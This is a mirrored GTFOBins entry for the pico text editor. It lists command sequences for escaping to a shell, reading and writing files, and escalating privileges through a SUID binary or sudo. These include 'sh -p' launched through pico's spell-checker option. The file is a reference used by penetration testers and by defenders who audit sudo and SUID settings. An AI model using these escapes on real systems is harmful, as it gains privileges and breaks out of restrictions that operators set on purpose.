mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-26 14:59:44 +01:00
35 lines
787 B
Markdown
35 lines
787 B
Markdown
---
|
|
functions:
|
|
shell:
|
|
- code: |
|
|
pico
|
|
^R^X
|
|
reset; sh 1>&0 2>&0
|
|
- description: The `SPELL` environment variable can be used in place of the `-s` option if the command line cannot be changed.
|
|
code: |
|
|
pico -s /bin/sh
|
|
/bin/sh
|
|
^T
|
|
file-write:
|
|
- code: |
|
|
pico file_to_write
|
|
DATA
|
|
^O
|
|
file-read:
|
|
- code: pico file_to_read
|
|
suid:
|
|
- description: The `SPELL` environment variable can be used in place of the `-s` option if the command line cannot be changed.
|
|
code: |
|
|
TF=$(mktemp)
|
|
echo '#!/bin/sh -p
|
|
exec sh -p' > $TF
|
|
chmod +x $TF
|
|
./pico -s $TF /etc/hosts
|
|
^T
|
|
sudo:
|
|
- code: |
|
|
sudo pico
|
|
^R^X
|
|
reset; sh 1>&0 2>&0
|
|
---
|